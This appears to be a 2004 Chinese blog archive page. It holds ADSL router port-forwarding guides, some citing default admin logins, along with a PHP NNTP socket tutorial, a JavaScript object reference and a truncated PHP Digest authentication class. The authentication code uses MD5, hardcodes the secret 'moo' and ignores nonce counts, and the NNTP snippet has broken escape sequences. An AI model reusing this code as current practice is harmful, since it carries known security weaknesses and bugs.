if(parent.LycosAdFrame && parent.LycosAdFrame.location && (ref != "" && (ref+"?" != window.location) && (ref.substr(ref.length-1,1) != "/")) ) { parent.LycosAdFrame.location.replace(ad_url); } setCookie("adFrameForcePHP",0,0," "); parent.document.body.cols = "*,140"; } else if(top.LycosAdFrame && top.LycosAdFrame.location) { if ((ref != "" && (ref+"?" != top.window.location) && (ref.substr(ref.length-1,1) != "?"))) { top.LycosAdFrame.location.replace(ad_url); } setCookie("adFrameForcePHP",0,0," "); top.document.body.cols = "*,140"; } else { if (!window.opener) { setCookie("adFrameForcePHP",1,0," "); } else { setCookie("adFrameForcePHP",0,0," "); } } if (window.top.location.href.indexOf("http://members.lycos.co.uk")!=-1 ) { ad_frame = 1 ; window.top.document.body.cols="*,140" ; }
function resizeGoogleAdFrame() { window.top.document.body.cols = "*,140"; }
if (ad_frame == 1 && AD_clientWindowSize()) { setInterval("resizeGoogleAdFrame()", 30); }
</script>
<script type="text/javascript" src="http://ads.tripod.lycos.co.uk/ad/ad.php?cat=noref&mkw=&CC=uk&ord=373373e3&adpref="></script >
shelly 发表于
2004-07-27 14:15:01
华硕6000EV/6005HW ADSL MODEM中设置端口映射
以架设web服务器为例: 假设您web服务器的内网ip为192.168.1.2,网关的ip(也就是您路由器局域网的ip)为192.168.1.1,端口映射设置如下: 首先在IE里面输入网关的ip:192.168.1.1,回车后出现路由器登陆界面,输入用户名和密码进入后如下图:
选择主菜单里面的“服务”选项,其内容如下:
点击“NAT 选项”后面的下拉菜单按钮,如下图:
选择“NAT Rule Entry"选项,如下图:
在此可以添加新的转发规则。点击”添加“按钮后出现转发规则对话框,如下图:
按照需要和提示填写相应项目既可,对此案例填写具体内容如下图所示:
设置完成后点”提交“按钮即完成操作。
贝尔6309上做端口映射
这个路由器是在lineconfiguration里面的配置。 以架设web服务器为例子,路由器的Lan地址为192.168.1.1,web服务器的ip地址为192.168.1.2 (一定要和路由器的Lan的ip在同一个网段)。具体为: 在“lineconfiguration”的“Nat”的“inbound”里面 port:80 host:192.168.1.2, protocol:tcp 然后“add”就可以了。ftp则添加21端口的,作email服务器的是要设置25,110的端口。
shelly 发表于
2004-07-26 12:46:24
神州数码DCAD-6010RA端口映射
首先登陆路由器的Web管理界面(默认的ip是:192..168.1.1,用户名是:adsl,密码是:adsl1234) 进入之后依次按如下顺序选择:Services—>NAT 在NAT Option选择NAT Rule Entry。然后点击“添加”,之后出线如下界面,填入相应参数。
设置完成后点击提交就行了。 具体参数说明如下: Rule Flavor: 规则种类 Rule ID: 判断地址翻译规则的序号,最小的序号最先执行,如有规则符合,不在向更高的ID判断执行。 IF Name: 请选择相应的广域网接口,如PPP,1483B等 Protocol: 选择相应协议(TCP/UDP/ICMP等 Local Address From: 使用规则的本地IP起始值,如果选择全部则填0.0.0.0 Local Address To: 使用规则的本地IP终结值,如果是单一IP,填入IP起始值。如果选择全部则填255.255.255.0 Global Address From: 不用修改 Global Address To: 不用修改 Destination Port From: 目标IP的端口起始值 Destination Port To: 目标IP的端口终结值 Local Port: 本地IP端口
ALCATEL端口转发详解
以假设web服务器为例: 假设你web服务器的ip是10.0.0.2,网关的ip(也就是你路由器的局域网ip)是10.0.0.1。 首先在IE里面输入10.0.0.1,输入用户名和密码登陆到路由器管理界面,如下图:
选择”Advanced"高级选项,如下图:
然后选择"Advancde"里面的”NAT"选项,如下图:
选择“NEW”,新建一条转发规则,如下图:
其中协议“protocol”用默认的“tcp”,“Iside IP”也就是你服务器的私网ip为10.0.0.2,“Outside IP”是外部访问者的ip,全部选0。“inside port”和“outside port”都填80,如下图:
最后选择"Apply"整个设置就完成了。
相关文章:
伊泰克 TD-2001 端口影射
注意:端口绑定只适用于启用NAPT状态下设置,在RFC 1483 Bridge模式下不可用。 只可绑定固定端口的服务,对非固定端口的服务不适用。 端口绑定最多可设20条。 以PPPoE 模式下架设FTP Server为例:假设Ftp服务器的内网IP是192.168.1.2。 首先进入MODEM的WEB控制界面,进NAPT选项,选中“Interface”里的“PPP ANY” ,在“Port Num”里填入FTP的端口号“21”,“Protocol”里选“TCP”协议,“Server IP Address”填入FTPServer的IP:“192.168.1.2”点“Add”再点“OK”
然后进入“Save Configuration”里点“Save”保存设置。
最后进“Reboot”点“Reboot”重起MODEM。
测试注意:用公网IP或域名测试端口绑定后的服务,必须在外网(与局域网断开的公网上)测,如在局域网内用公网IP测,因没有通过MODEM的NAPT解释,就会返回(只会登录MODEM或提示错误)。所以请断开局域网,用普通MODEM拨号后再用公网IP或域名测试。
ADSL 2110EH 端口映射
这里以假设Web服务器为例: 假设路由器的内网IP是192.168.0.1 在IE中用http://192.168.10.1进入 实达ADSL2110EH ROUTER(默认的用户名和密码是admin、conexant 管理配置面页,选择Services——NAT Rule Configuration——NAT——NAT Options:NAT Rule Entry——Add——进入端口映射添加设置面页,各项设置如下: Rule ID: 2 (做第二个端口时改为3。依此类推) Rule Flavor: RDR IF Name: ALL Protocol: ANY Local Address From: 192.168.10.* (内网IP) Local Address To: 192.168.10.* (内网IP) Global Address From: 0.0.0.0 Global Address To: 0.0.0.0 Destination Port From: 80 Destination Port To: 80 Local Port: 80
设置完后,选择 Submit 提交,最后选择Admin——Commit & Reboot——重启Modem。
TP-LINK TL-R410端口映射
以架设web server为例:路由器内网ip192.168.1.1,web server的内网地址为192.168.1.50; 1.首先登陆到路由器的Web管理界面. 2.点击左边"转发规则"前面的"+"号. 3.在展开的菜单里面点击"虚拟服务器". 4.在右边服务端口下面填"80",ip地址下面填"50",协议选择"TCP",最后别忘了在"启用"下面打勾. 5. 点"保存"之后就可以了. 具体情况请参照下图:
中兴831端口映射
端口映射方法: Services>NAT>NAT Options>NAT Rule Entry>添加 Rule Flavor:RDR Rule ID:随便添一个数字(比如添1) IF Name:ppp-0 Protocol:ANY Local Address From和Local Address To:填需要映射的内网IP,两个添相同的IP Destination Port From;Destination Port To;Local Port 如做WEB服务则都填80 如做FTP服务则都填21,依次类推 保存设置 Admin>Commit&Reboot>确认>重起
全向1680ADSL成功端口映射
假如你的网络结构是全向adsl(带路由)+hub 没有服务器, 你想把其中的一机器(192。168。1。14)对外网提供web和ftp服务。 方法:进入全向adsl的设置项目,然后进入高级设置项目,选择虚拟服务器,会看到有三个空白,如果只想在192。168。1。14假设web和ftp可以这样填写: 8080 192.168.1.14按一下add 2121 192.168.1.14按一下add 然后保存设置,路由器重新启动拨号。
宽频蓝色小精灵路由器中设置端口映射
在高级设置页面下点“Distributed Servers Setup(Virtual Serves,虚拟主机设置)” 每个Virtual Server 定义为一个Service Port,所有对这个端口的访问都会重定向到相应的Service IP 所对应的计算机。
例如,假如您要:
在计算机192.168.123.10 上架设FTP 服务器。(port 21) 在计算机192.168.123.20 上架设Email的smtp 服务器。(port 25) 在计算机192.168.123.30 上架设Web 服务器。(port 80) 在计算机192.168.123.40 上架设Pop服务器。(port 110)
那么,您就需要在此页作如下设置:
Service Service Port Service IP Enable
FTP 21 192.168.123.10 √ Email 25 192.168.123.20 √ Web 80 192.168.123.30 √ Post Office 110 192.168.123.40 √
shelly 发表于
2004-07-26 12:40:11
早就有完成这个的打算,在 51.net 上以前初步实现,并应用于我在 《电脑爱好者超酷》《三人行》《水盟论坛》上的个人签名。呵呵,那个做的太烂了。所以,最近用 PHP+ADODB(ACCESS) 在 http://shelly.3322.org 完成了这个初步框架,并完成了后台的主要功能模块。 拟接下去写 PHP+ADODB(MySQL) 版。 :) 这就是我为什么要采用 ADODB 了。呵呵。 相信再接下去的 PHP+ADODB(MsSQL) 版也会很快出来。:) 那要看我时间是否足够,是否还要继续停电了。
1 PHP + ADODB
2 PHPLIB 模板
3 SESSION 用户验证
计划:
1 多语言版(E文版,繁体中文版)
2 后台图形化参数调整
3 高级会员文件上传
4 超级管理员后台会员资料管理
5 会员财务管理
欢迎朋友提出建议及意见~~
如有程序漏洞,也欢迎各位朋友高抬贵手,EMAIL(mrshelly@hotmail.com)通知为盼。谢谢。
登陆及注册入口 http://shelly.3322.org/sign/login.php
shelly 发表于
2004-07-20 07:53:10
FROM: http://linux.tcpip.com.cn/article/index.php?func=detail&par=1&parentid=2117&start=24&s=0
PHP能打开远程或本地主机上的Socket端口。本文是一个使用Socket的小例子:连 接到一个Usenet新闻组服务器,同服务器对话,从新闻组中下载一些文章。 在php中打开一个socket 使用fsockopen()打开一个socket.这个函数在php3和php4种都可以使用。函数声明 是这样的: int fsockopen (string hostname, int port [, int errno [, string errstr [, double timeout]]]) 这个函数将打开一个连接到主机hostname的port端口的TCP连接。hostname可以是一 个有效的域名,或者是一个ip地址。对于udp连接,你必须指定协议:udp://hostname. 对于unix域,主机名使用到socket的路径,这种情况下,端口port必须置为0。可选 的timeout参数用来设定等待打开一个socket的时间,单位为秒。 关于fsockopen()的更多信息,请参考:h ttp://www.php.net/manual/function.fsockopen.php 网络新闻传输协议 访问新闻组服务器需要通过称为NNTP(网络新闻传输协议)的协议来进行。这个协议 在rfc977中有详细的细节,可以在http://www.w3.org/Protocols/rfc977/rfc977.html OR RFC977 得到。这个文档分别描述了怎样连接到NNTP服务器,怎样同服务器对话,以及完成这 些任务的不同命令。 连接 连接到一个NNTP服务器需要知道它的主机名(或者是ip地址)和它侦听的端口。为了 避免一个连接企图失败导致程序挂起,你应该使用timeout参数。 <?php $cfgServer = "your.news.host"; $cfgPort = 119; $cfgTimeOut = 10; //open a socket if(!$cfgTimeOut) // without timeout $usenet_handle = fsockopen($cfgServer, $cfgPort); else // with timeout $usenet_handle = fsockopen($cfgServer, $cfgPort, &$errno, &$errstr, $cfgTimeOut); if(!$usenet_handle) { echo "Connection failed.\n"; exit(); } else { echo "Connected.\n"; $tmp = fgets($usenet_handle, 1024); } ?> 与服务器对话 现在我们已经连接到了服务器,可以通过前面打开的socket同服务器对话了。比如 说我们要从某个新闻组得到最近的10篇文章。RFC977指出,第一步要用GROUP命令选择 正确的新闻组: GROUP ggg 参数ggg是要选择的新闻组的名字(比如说是"net.news"),这是必需的。可用的新 闻组的列表可以用LIST命令得到。选择新闻组的命令成功后,返回组中第一篇和最 后一篇文章的文章编号,以及组中文章的数目。 下面是一个例子: chrome:~$ telnet my.news.host 119 Trying aa.bb.cc.dd... Connected to my.news.host. Escape character is '^]'. 200 my.news.host InterNetNews NNRP server INN 2.2.2 13-Dec-1999 ready (posting ok). GROUP alt.test 211 232 222996 223235 alt.test quit 205 . 接收到命令 GROUP alt.test 后,服务器返回"211 232 222996 223235 alt.test". 211是RFC中定义的返回码,指示命令已成功执行。返回信息还指出,现在有232篇文 章,最早的文章的编号是222996,最新的文章的编号是223235。我们看到, 222996+232并不等于223235。丢失的7篇文章因为某种原因被从服务器删除了,可能 是因为被它的合法作者取消了(这是可能的,而且很容易做到),或者因为是灌水文 章而被删。 需要注意的事,有些服务器在选择新闻组之前可能要求身份认证,这取决于这是一个 公共的或者是私用的服务器。也有可能服务器允许任何人读取文章,但发表文章需要 身份验证。 <?php //$cfgUser = "xxxxxx"; //$cfgPasswd = "yyyyyy"; $cfgNewsGroup = "alt.php"; //identification required on private server if($cfgUser) { fputs($usenet_handle, "AUTHINFO USER ".$cfgUser."n"); $tmp = fgets($usenet_handle, 1024); fputs($usenet_handle, "AUTHINFO PASS ".$cfgPasswd."n"); $tmp = fgets($usenet_handle, 1024); //check error if($tmp != "281 Okrn") { echo "502 Authentication errorn"; exit(); } } //select newsgroup fput($usenet_handle, "GROUP ".$cfgNewsGroup."n"); $tmp = fgets($usenet_handle, 1024); if($tmp == "480 Authentication required for commandrn") { echo $tmp; exit(); } $info = split(" ", $tmp); $first= $info[2]; $last = $info[3]; printf("First : %sn", $first); printf("Last : %lastn", $last); ?>
shelly 发表于
2004-07-09 12:59:18
shelly 发表于
2004-07-05 09:33:47
很多企业的误区,认为新上的ERP要适应企业. 其实不然,应该是让企业去符合ERP. 因为,一个成熟的好的ERP,它的管理流程是绝对一流的. 值得企业信息管理高层深思~~~~~~
....
在 ER P 的管理流程与企业实际流程不一致的情况下尽量不要去更改软件,而要先思考是否应该对企业进行业务流程重组。 ERP 的本质是先进的管理思想,而不是电脑软件。要让企业的业务流程主动适应 ERP 系统,而不是让 ERP 系统去适应企业业务流程。
....
shelly 发表于
2004-07-05 07:47:39
JAVASCRIPT对象及属性教程
[CP设计动力 csplanet@21cn.com ]
SCRIPT 标记
用于包含JavaScript代码.
语法
属性
LANGUAGE 定义脚本语言
SRC 定义一个URL用以指定以.JS结尾的文件
windows对象
每个HTML文档的顶层对象.
属性
frames[] 子桢数组.每个子桢数组按源文档中定义的顺序存放.
feames.length 子桢个数.
self 当前窗口.
parent 父窗口(当前窗口是中一个子窗口).
top 顶层窗口(是所有可见窗口的父窗口).
status 浏览器状态窗口上的消息.
defaultStatus 当status无效时,出现在浏览器状态窗口上的缺省消息.
name 内部名,为由window.open()方法打开的窗口定义的名字.
方法
alert("message") 显示含有给定消息的"JavaScript Alert"对话框.
confirm("message") 显示含有给定消息的"Confirm"对话框(有一个OK按钮和一个Cancel按钮).如果用户单击OK返回true,否则返回false.
prompt("message") 显示一个"prompt"对话框,要求用户根据显示消息给予相应输入.
open("URL","name") 打开一个新窗口,给予一个指定的名字.
close() 关闭当前窗口.
frame对象
它是整个浏览器窗口的子窗口,除了status,defaultStatus,name属性外,它拥有window对象的全部属性.
location对象
含有当前URL的信息.
属性
href 整个URL字符串.
protocol 含有URL第一部分的字符串,如http:
host 包含有URL中主机名:端口号部分的字符串.如//www.cenpok.net/server/
hostname 包含URL中主机名的字符串.如http://www.cenpok.net
port 包含URL中可能存在的端口号字符串.
pathname URL中"/"以后的部分.如~list/index.htm
hash "#"号(CGI参数)之后的字符串.
search "?"号(CGI参数)之后的字符串.
document对象
含有当前文档信息的对象.
属性
title 当前文档标题,如果未定义,则包含"Untitled".
location 文档的全URL.
lastModified 含有文档最后修改日期.
referrer 调用者URL,即用户是从哪个URL链接到当前页面的.
bgColor 背景色(#xxxxxx)
fgColor 前景文本颜色.
linkColor 超链接颜色.
vlinkColor 访问过的超链颜色.
alinkColor 激活链颜色(鼠标按住未放时).
forms[] 文档中form对象的数组,按定义次序存储.
forms.length 文档中的form对象数目.
links[] 与文档中所有HREF链对应的数组对象,按次序定义存储.
links.length 文档中HREF链的数目.
anchors[] 锚(...)数组,按次序定义存储.
anchors.length 文档中锚的数目.
方法
write("string") 将字符串突出给当前窗口.(字符串可以含有HTML标记)
writeln("string") 与write()类似,在结尾追加回车符,只在预定格式文本中(
... 或 ... )生效.
clear() 清当前窗口.
close() 关闭当前窗口.
form对象
属性
name
中的NAME属性的字符串值.
method 中METHOD属性的类值,"0"="GET" ,"1"="POST" .
action 中ACTION属性的字符串值.
target 表格数据提交的目标,与标记中相应属性一致.
elements[index] elements属性包含form中的各个元素.
length 表格中的元素个数.
方法
submit() 提交表格.
事件处理器onSubmit() 用户单击一个定义好的按钮提交form时运行的代码.
text和textarea对象
属性
name NAME属性的字符串值.
value 域内容的字符串值.
defaultValue 域内容的初始字符串值.
方法
focus() 设置对象输入焦点.
blur() 从对象上移走输入焦点.
select() 选定对象的输入区域.
事件处理器
onFocus 当输入焦点进入时执行.
onBlur 当域失去焦点时执行.
onSelect 当域中有部分文本被选定时执行.
onChange 当域失去焦点且域值相对于onFocus执行有所改变时执行.
复选框(checkbox)对象
属性
name NAME属性的字符串值.
value 复选框内容的字符串值.如果设置了,则为"on",否则为"off".
checked 复选框内容的布尔值.如果设置了,则为true,否则为false .
defaultChecked 反映(CHECKED)属性的布尔值(缺省状态).
方法
click() 选定复选框,并使之状态为"on".
事件处理器
onClick 当用户单击Checkbox时执行.
单选按钮(radio)对象
属性
name NAME属性的字符串值.
length radio对象中单选按钮的个数.
value VALUE属性的字符串值.
checked 布尔值,按下为true,否则为false .
defaultChecked 反映CHECKED属性值的布尔值.
方法
click() 选定单选按钮.
事件处理器
onClick 当单选按钮被选定时执行.
select对象
属性
length select对象中对象的个数.
name 由NAME=属性定义的select对象的内部名.
selectedIndex select对象中当前被选option的下标.
options 该属性对应于在HTML中定义select对象时标记中的内容,它有如下属性:
text 标记后的文本串.
value VALUE属性的值,当Submit按钮被按下时,该值被提交.
defaultSelected 反映标记的SELECTED属性的布尔值.
selected 反映option的当前选择状态的布尔值.
事件处理器
onFocus 当输入焦点进入域时执行.
onBlur 当域失去输入焦点时执行.
onChange 当域失去焦点且如果域的值相对于onFocus执行时有所改变,则执行onChange.
Button对象
表格中有三种类型按钮,由标记中的TYPE属性定义:
.submit (type="SUBMIT")
.reset (type="RESET")
.custom (type="BUTTON")
所有按钮对象都有如下成分:
属性
value VALUE属性的字符串值.
name NAME属性的字符串值.
方法
click() 选定按钮
事件处理器
onClick 当按钮被单击时执行.
submit和reset对象
属性
value VALUE=属性的内容.
name NAME=属性的内容.
方法
click() 选定按钮
事件处理器
onClick 当按钮被单击时执行.
password对象
属性
defaultValue VALUE=属性的内容.
name NAME=属性的内容.
value 目前输入password域的数据.
方法
focus() 将焦点带入password域.
blur 将焦点从password域移出.
select() 选定password域中的当前数据,以备修改.
navigator对象
该对象用于确定用户访问时使用的Navigator版本.
属性
appCodeName 相对于用户浏览器的"codename"
appName 相对于用户浏览器的实际名字.
appVersion 相对于用户浏览器的版本号.
userAgent 该属性反映用户浏览器的全部信息.
string对象
string对象为操作字符串的内容提供了很多方法.
属性
length 字符串的长度,即字符串中字符的个数.
方法
big(),blink(),bold(),fixed(),italics(),small(),sub(),strike(),sup(),fontColor(color),fontSize(size)
以上方法为字符串增加相应的HTML标记.
charAt(index) 返回字符串中index处的字符.
indexOf(searchValue,[fromIndex]) 该方法在字符串中寻找第一次出现的searchValue.如果给定了fromIndex,则从
字符串内该位置开始搜索,当searchValue找到后,返回该串第一个字符的位置.
lastIndexOf(searchValue,[fromIndex]) 从字符串的尾部向前搜索searchValue,并报告找到的第一个实例.
substring(indexA,indexB) 获取自indexA到indexB的子串.
toLowerCase(),toUpperCase() 将字符串中所有字符全部转换成大写,小写.
Date对象
要使用Date对象,必须先生成一个Date实例:
变量名=new Date();
方法
getDay(),getDate(),getHours(),getMinutes(),getMonth(),getSeconds(),getTime(),
getTimeZoneOffset(),getYear()
还有setDay... ...
toGMTString() 用GMT格式返回当前时间. (Sun,12 Feb 1999 14:19:22 GMT)
toLocaleString 用locale格式返回当前时间. (03/11/99 14:19:22)
parse(date) 将普通date字符串转换成豪秒形式,从而给setTime()做参数.
Math对象
属性
LN10 (10的自然对数)
PI (3.1415926...)
SQRT1_2 (1/2的平方根)
方法
abs(x) 返回x的绝对值
acos(x) 返回x的arc cosine值
asin(x) 返回x的arc sin值
atan(x) 返回x的arc tangent值
ceil(x) 返回大于等于x的最小整数
cos(x) 返回x的cosine值
exp(x) 返回e的x次方
floor(x) 返回小于等于x的最大整数
log(x) 返回x的
max(x,y) 返回x,y中的大值
min(x,y) 返回x,y中的小值
pow(x,y) 返回x的y次方
round(x) 舍入到最近整数,(小于或等于0.5小数舍去)
sin(x) 返回x的sin值
sqrt(x) 返回x的平方根
tan(x) 返回x的tangent值
shelly 发表于
2004-07-03 21:37:43
:) 查找好久的 HTTP 非 BASIC 认证范例。呵呵,终于被找到,有机会在公司内部的ISA SERVER代理上试验一下。
SORRY,原文出处俺忘记了。
相关HTTP 认证 文档参见:http://www.ietf.org/rfc/rfc2617.txt
<?php // Digest and Basic authentication PHP implementation by Thomas Pike // Comments on this implementation can be left at: // http://www.xiven.com/blog.php?start=73&count=1
// Usage: // - Include this file in every page. // - The following constant needs to be defined: // 'REALM' - specifies the name of the realm of this login system. // - Somewhere at top of every page, have a line like the following: // $auth = new authentication; // - Create a login page with the following code in: // if(!$auth->loggedIn) { // $auth->authenticate(); // } else { // echo '<p>Login successful</p>'; // .... // } // - A users table is required in a database with at least the following fields: // userid INT PRIMARY Unique user id // username VARCHAR User name // a1 CHAR(32) Password hash // trust INT Indicates user trust (affected by auth method used) // - Passwords should be stored in the database in the form: // a1 = md5($username.":".REALM.":".$password); // where REALM is the predefined realm name for this login system. // - (OPTIONAL) Somewhere at the bottom of every page, include the following code: // $auth->authenticationInfo($contentMD5); // where $contentMD5 is the md5 checksum of the web page.
// Notes: // - Code is not provided here for the creation of user accounts. In particular, a secure // arrangement for allowing the user to choose their password in the first place would be // needed. This could maybe be done using a true secure method such as SSL, or by some kind // of public key method (would probably need to use javascript for this). // - Digest Authentication is not the world's answer to web security. If you need a truly secure // system you should almost certainly be using SSL instead. In particular, all data except for // the user's password is sent in plain text as usual. Additionally, this implementation is // unavoidably vulnerable to certain "Man in the Middle" attacks as detailed in section 4.8 of // RFC 2617 - HTTP Authentication (http://www.ietf.org/rfc/rfc2617.txt ). Also, if Auth is used // instead of Auth-int, POST requests could potentially be modified en-route by a malicious // proxy. // - ':' symbol is not allowed in user name to allow for compatibility with Basic authentication.
// Current browser issues: // - Currently only Opera is known to support Auth-int. IE and Mozilla only support Auth. // Mozilla bug: http://bugzilla.mozilla.org/show_bug.cgi?id=168942 // - Mozilla and IE completely ignore the Authentication-Info header (they neither reject the page // if the server sends an incorrect rspauth, nor do they use the nextnonce value for the next // request, resulting in a 401 with stale=true being sent after the 2 minute stale nonce grace // period has expired even if other pages have been accessed). // Mozilla bug: http://bugzilla.mozilla.org/show_bug.cgi?id=116177 // - IE doesn't resend the Opaque value for subsequent requests, therefore if it is not present, we // allow the request anyway. I don't believe this should actually affect security in any way // since the Opaque value never changes, and if the response is valid then the client must have // the correct Opaque value. // - If the URI has a querystring (ie. ?foo=bar) IE does not include it in the URI it sends in the // Authorization header. This is a violation of RFC2617 section 3.2.2.5. This implementation // works around this bug by being more leniant than the spec allows. This functionality can be // disabled by setting the IECOMPAT constant to false. // - WWW-Authenticate line specifies Digest before Basic since otherwise IE will use Basic. Note // that this goes against the advice in RFC 2617: "Note that many browsers will only recognize // Basic and will require that it be the first auth-scheme presented."
// Current implementation issues: // - Nonce count is currently ignored by this system. This should be implemented as extra security // against replay attacks. To do this, we need a method of "remembering" which nonce counts have // been used for the current nonce. Maybe this could be stored in the database, but this would // result in extra queries. Another alternative is to write the used nonce values in a file. // - Error logging code for incorrect password not yet implemented
// Issues fixed since last release // - FIXED: Auth-int support will almost certainly break when faced with multipart form data. // eg. <form enctype="multipart/form-data"> which is commonly used for uploading files via HTTP. // - FIXED: 2004-01-10 Authentication fails when URI contains an apostrophe (') // - FIXED: 2004-05-03 Basic Authentication broken // - FIXED: 2004-05-03 Workaround for IE bug: URI in Authorization header does not include // querystring
define('OPAQUE', 'moo'); define('NONCEKEY', 'moo');//$_SERVER['UNIQUE_ID']); define('IECOMPAT', true);
class authentication { var $loggedIn; var $userID; var $trust; var $reducedTrust; var $authMethod; var $auth; var $a1; var $nonce; var $nextNonce; function authentication() { global $db; $return = ''; $this->loggedIn = false; $this->userID = 0; $this->trust = 0; $this->reducedTrust = false; if(isset($_SERVER['Authorization'])) { // Just in case they ever fix Apache to send the Authorization header on, the following code is included $headers['Authorization'] = $_SERVER['Authorization']; } if(function_exists('apache_request_headers')) { // We are running PHP as an Apache module, so we can get the Authorization header this way $headers = apache_request_headers(); } if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) { // Basic authentication information can be retrieved from these server variables $username = $_SERVER['PHP_AUTH_USER']; $password = $_SERVER['PHP_AUTH_PW']; } $requestURI = stripslashes($_SERVER['REQUEST_URI']); if(isset($headers['Authorization'])) { if(substr($headers['Authorization'],0,7) == 'Digest ') { // Digest authentication received // Get the Authorization header into a usable format $authtemp = explode(',', substr($headers['Authorization'],strpos($headers['Authorization'],' ')+1)); $auth = array(); foreach($authtemp as $key => $value) { $value = trim($value); if(strpos($value,'=') !== false) { $lhs = substr($value,0,strpos($value,'=')); $rhs = substr($value,strpos($value,'=')+1); if(substr($rhs,0,1) == '"' && substr($rhs,-1,1) == '"') { $rhs = substr($rhs,1,-1); } $auth[$lhs] = $rhs; } } $this->auth = $auth; if(strpos($auth['uri'], '?') === false && strpos($requestURI, '?') !== false && IECOMPAT) { // Another joyful IE bug: URI in Authorization header does not include querystring $requestURI = substr($requestURI, 0, strpos($requestURI, '?')); } if($requestURI == $auth['uri']) { // Request URI matches URI in Authorization header $this->authMethod = 'digest'; $nonceOptions = $this->nonceOptions(); $this->nextNonce = $nonceOptions[0]; if($auth['nonce'] == $nonceOptions[0]) { // Up-to-date nonce received $this->nonce = $nonceOptions[0]; $stale = false; } elseif ($auth['nonce'] == $nonceOptions[1]) { // 1-minute old nonce received - allowed $this->nonce = $nonceOptions[1]; $stale = false; } elseif ($auth['nonce'] == $nonceOptions[2]) { // 2-minute old nonce received - allowed $this->nonce = $nonceOptions[2]; $stale = false; } else { // Stale nonce received (probably more than 2 minutes old) $this->nonce = $auth['nonce']; $stale = true; } $query = "SELECT userid, a1, trust FROM users WHERE username = '".sqlEscape($auth['username'])."'"; $rdsUser =& $db->query($query,IGNOREERROR); if($rdUser =& $db->fetchArray($rdsUser)) { // Username valid - determine password validity $this->a1 = $rdUser['a1']; // md5($auth['username'].":".REALM.":".$rdUser['a1']); $a2unhashed = $_SERVER['REQUEST_METHOD'].":".$requestURI; if($auth['qop'] == 'auth-int') { $body = ''; foreach($_POST as $key => $value) { if($body != '') $body .= '&'; $body .= rawurlencode(sqlUnescape($key)) . '=' . rawurlencode(sqlUnescape($value)); } if(isset($GLOBALS["HTTP_RAW_POST_DATA"])) { // In PHP < 4.3 get raw POST data from this variable $body = $GLOBALS["HTTP_RAW_POST_DATA"]; } if(version_compare(phpversion(), '4.3.0', '>=')) { if($lines = @file('php://input')) { // In PHP >= 4.3 get raw POST data from this file $body = implode("\n", $lines); } } $a2unhashed .= ':'.md5($body); $trust = 3; } else { $trust = 2; } $a2 = md5($a2unhashed); $combined = $this->a1.':'. $this->nonce.':'. $auth['nc'].':'. $auth['cnonce'].':'. $auth['qop'].':'. $a2; $expectedResponse = md5($combined); if(!isset($auth['opaque']) || $auth['opaque'] == md5(OPAQUE)) { if($auth['response'] == $expectedResponse) { // Password valid if(!$stale) { // Everything is good! $this->loggedIn = true; $this->userID = $rdUser['userid']; $this->trust = min($rdUser['trust'], $trust); if($this->trust < $rdUser['trust']) { // Reduce trust if user has used less secure login than before (eg. auth rather than auth-int) $query = "UPDATE users SET trust = ".$this->trust." WHERE userid = ".$rdUser['userid']; $db->query($query); $this->reducedTrust = true; } } else { // Nonce is stale $wwwauth = 'WWW-Authenticate: Digest '; $wwwauth .= 'qop="'.$auth['qop'].'", '; $wwwauth .= 'algorithm=MD5, '; $wwwauth .= 'realm="'.REALM.'", '; $wwwauth .= 'domain="'.substr(HTTPLOC,0,-1).'", '; $wwwauth .= 'nonce="'.$nonceOptions[0].'", '; $wwwauth .= 'opaque="'.md5(OPAQUE).'", '; $wwwauth .= 'stale=true '; header($wwwauth); $stalepage = new page(NOAUTH); $stalepage->response('401 Unauthorized'); $stalepage->title('Login stale'); $stalepage->h1('Login stale'); $stalepage->add(' <h>Login stale</h> <p>Stale nonce value, please re-authenticate.</p> '); $stalepage->display(); die(); } } else { // Password mismatch - log an error and allow retry } } else { // Opaque doesn't match - bad request $this->authenticateFailure('Opaque doesn\'t match ('.$auth['opaque'].' != '.md5(OPAQUE).')'); } } else { // Username not found - allow retry } } else { // Request URI doesn't match URI in Authorization header - bad request $this->authenticateFailure(' Request URI doesn\'t match URI in Authorization header ('.$requestURI.' != '.$auth['uri'].') '); } } } elseif(isset($username) && isset($password)) { // Basic authentication received $this->authMethod = 'basic'; $query = "SELECT userid, trust FROM users WHERE username = '".sqlEscape($username)."' "; $query .= "AND a1 = '".md5($username.":".REALM.":".$password)."'"; $rdsUser =& $db->query($query,IGNOREERROR); if($rdUser =& $db->fetchArray($rdsUser)) { // Login successful $this->loggedIn = true; $this->userID = $rdUser['userid']; $this->trust = min($rdUser['trust'], 1); if($this->trust < $rdUser['trust']) { // Reduce trust if user has used less secure login than before (eg. basic rather than digest) $query = "UPDATE users SET trust = ".$this->trust." WHERE userid = ".$rdUser['userid']; $db->query($query); $this->reducedTrust = true; } } } #else { // Unrecognised authentication type - bad request # $this->authenticateFailure(); #} return $return; } function authenticationInfo($contentMD5) { if($this->loggedIn && $this->authMethod == 'digest') { // Work out authorisation response $a2unhashed = ":".stripslashes($_SERVER['REQUEST_URI']); if($this->auth['qop'] == 'auth-int') { $a2unhashed .= ':'.$contentMD5; } $a2 = md5($a2unhashed); $combined = $this->a1.':'. $this->nonce.':'. $this->auth['nc'].':'. $this->auth['cnonce'].':'. $this->auth['qop'].':'. $a2; // Send authentication info $wwwauth = 'Authentication-Info: '; if($this->nonce != $this->nextNonce) { $wwwauth .= 'nextnonce="'.$this->nextNonce.'", '; } $wwwauth .= 'qop='.$this->auth['qop'].', '; $wwwauth .= 'rspauth="'.md5($combined).'", '; $wwwauth .= 'cnonce="'.$this->auth['cnonce'].'", '; $wwwauth .= 'nc='.$this->auth['nc'].''; header($wwwauth); } } function authenticate() { // Force client to login $nonceOptions = $this->nonceOptions(); $wwwauth = 'WWW-Authenticate: Digest '; $wwwauth .= 'qop="auth-int,auth", '; $wwwauth .= 'algorithm=MD5, '; $wwwauth .= 'realm="'.REALM.'", '; $wwwauth .= 'domain="'.substr(HTTPLOC,0,-1).'", '; $wwwauth .= 'nonce="'.$nonceOptions[0].'", '; $wwwauth .= 'opaque="'.md5(OPAQUE).'" '; $wwwauth .= "\r\n".'WWW-Authenticate: Basic realm="Omoicore"'; header($wwwauth); header('HTTP/1.x 401 Unauthorized'); ?> <h1>Login error</h1> <p>The user name and/or password you supplied was incorrect.</p> <?php die(); } function authenticateFailure($details = '') { // Bad authorisation request received. header('HTTP/1.x 400 Bad Request'); ?> <h1>Bad Request</h1> <p> Your browser attempted to authenticate with this server, but the request was invalid. If this problem persists, please contact the support 